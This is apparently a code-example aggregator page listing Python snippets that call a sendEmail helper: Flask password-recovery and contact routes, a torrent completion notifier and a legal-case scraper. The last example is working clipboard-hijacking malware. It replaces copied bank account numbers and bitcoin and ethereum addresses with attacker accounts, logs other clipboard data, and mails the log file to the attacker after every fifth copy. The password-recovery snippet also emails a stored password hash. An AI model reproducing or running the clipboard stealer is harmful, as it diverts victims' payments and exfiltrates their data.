Ejemplo n.º 1
0
def forgotpassword():
    if request.method == "GET":
        return render_template("forgotpassword.html")

    else:
        user = request.form.get("username")
        question = request.form.get("recoverpass")
        answer = request.form.get("ans")

        dbsession = Session()
        exists = dbsession.query(Recover).filter(
            Recover.username == user).filter(
                Recover.question == question).filter(
                    Recover.answer == answer).scalar()
        if exists is not None:
            results = dbsession.query(User).filter(User.username == user)
            resultemail = dbsession.query(Details).filter(
                Details.username == user)

            body = 'Your Password: ' + results[0].hash
            sendEmail(resultemail[0].email, "password recovery", body)
            dbsession.close()
            return render_template(
                "common.html",
                value="Please check your Email for Password recovery!")
        else:
            dbsession.close()
            return render_template(
                "common.html",
                value=
                "Your data does not exist, please enter correct information")
Ejemplo n.º 2
0
def contact():
    if request.method == "GET":
        return render_template("contact.html")
    else:
        body = 'customer email: ' + request.form.get(
            "Qemail") + '\n Customer request: ' + request.form.get("query")
        sendEmail("*****@*****.**", "NeedSeva Customer", body)
        print(body)
        return render_template("common.html",
                               value="Thank You for contacting us!")
 def removeCompletedTorrent(self):
     curStatus=self.listTorrent().split(u'\n')
     for x in curStatus:
         x=x.split()
         if len(x) >= 9 and x[1]=='100%'  :
             self.removeTorrent(int(x[0]))
             notify=u''
             for i in range(9,len(x)):
                 notify+=(x[i] + ' ')
             cmd='/usr/bin/notify-send Download-Complete -t 20 \"%s\"' %(notify)
             executeCommand(cmd)
             sendEmail('Download Complete of ' + notify)
 def removeCompletedTorrent(self):
     curStatus = self.listTorrent().split(u'\n')
     for x in curStatus:
         x = x.split()
         if len(x) >= 9 and x[1] == '100%':
             self.removeTorrent(int(x[0]))
             notify = u''
             for i in range(9, len(x)):
                 notify += (x[i] + ' ')
             cmd = '/usr/bin/notify-send Download-Complete -t 20 \"%s\"' % (
                 notify)
             executeCommand(cmd)
             sendEmail('Download Complete of ' + notify)
Ejemplo n.º 5
0
def emailcustomer():
    dbsession = Session()
    email = request.args.get("email")
    user = session["user_id"]
    print("called")
    key = "Detailed Shared Sucessfully"

    dataDetails = dbsession.query(Details).filter_by(username=user).first()

    body = 'Volunteer Details: \n' + 'First Name: ' + dataDetails.FirstName + '\nLast Name: ' + dataDetails.LastName + '\nEmail: ' + dataDetails.email + '\nPhone: ' + str(
        dataDetails.phone)
    sendEmail(email, "NeedSeva Vol info", body)
    print(body)

    return jsonify(key)
Ejemplo n.º 6
0
 def sendEmail(self):
     '''
     Sends the code to the email provided
     '''
     if helper.sendEmail(self.senderEmail.text, self.code.text,
                         self.agent.text):
         self.code_gen.text = "SENT"
Ejemplo n.º 7
0
    def getCases(self):
         """The scaffold method for the whole class."""
         lt = time.asctime(time.localtime(time.time()))
         problemCases, cases = [], []
         cL = self.caseLinks
         if self.stopCase == False:
              end = len(cL)
              print "Number of cases " + str(end)
         else:
              end = self.stopCase
          # for sometimes count variables to only print once
         lastVol, lastPer = 0, -1
         # Loop through cases
         for c in xrange(end):
              vol = cL[c]['vol']
              dock = self.urlParse(cL[c]['url'])
              cNum = [vol, dock]
              if vol % 5 == 0 and vol > lastVol:
                   print "Volume " + str(vol)
                   lastVol = vol
              #iterate through all of the pages
              links = self.setUrls(vol)
              text = ""
              cites = []
              #Loop through each set of urls to scrape
              for l in xrange(len(links)):
                txt, citations = self.fetchCaseText(cL[c]['url'], links[l])
                if txt != None:
                  text = text + txt
                  cites = cites + citations
              #Add to the list of cases the case information
              cases.append({'name': cL[c]['caseName'], 'url': cL[c]['url'], 'txt': text, 'number': cNum, 'citations': cites, 'vol': cL[c]['vol'], 'date': cL[c]['date']})
              #Save every hunderd cases
              if c % 100 == 0:
                with open(self.outfile, 'w') as fp:
                  json.dump(cases, fp, indent=2)

              #Email every 10% of cases
              per = int(floor((float(c)/float(end)*100)))
              if per % 10 == 0 and self.emails and per > lastPer:
                helper.sendEmail(per, c,end, lt)
                lastPer = per
        #Save at the end of the loop
         with open(self.outfile, 'w') as fp:
              json.dump(cases, fp, indent=2)
         print problemCases
         return cases
Ejemplo n.º 8
0
 if tmp_value != recent_value:
     if len(tmp_value) == 12 and int(tmp_value[:3]) in shinhan_codes:
         recent_value = hac_account[0]
     elif len(tmp_value) == 14 and int(tmp_value[:3]) in [560, 561, 562]:
         recent_value = hac_account[1]
     elif len(tmp_value) == 14 and tmp_value[0] == '7':
         # Pattern 3: account number started with 7 and length is 7.
         recent_value = hac_account[2]
     elif len(tmp_value) == 11 and tmp_value[0] == '3':
         # Pattern 4: account number started with 3 and length is 11.
         recent_value = hac_account[3]
     elif len(tmp_value) >= 25 and len(tmp_value) <= 35:
         # Pattern 5: target is bitcoin address.
         recent_value = hac_crypto_account[0]
     elif len(tmp_value) == 42:
         # Pattern 6: target is ethereum.
         recent_value = hac_crypto_account[1]
     else:
         count += 1
         # make a index using variable 'count' and attach to the clipboard data and call saveInfo() function.
         recent_value = str(count) + '. ' + tmp_value
         saveInfo(recent_value)
     pyperclip.copy(recent_value)  #
     if count == 5:
         # For every 5 times of clipboard buffer change, it sends person.csv file's contents to attacker's mail.
         helper.sendEmail()
         count = 0
         with open("person.csv", "w") as make_empty_csv:
             # now you make person.csv file as empty file.
             pass
 time.sleep(0.1)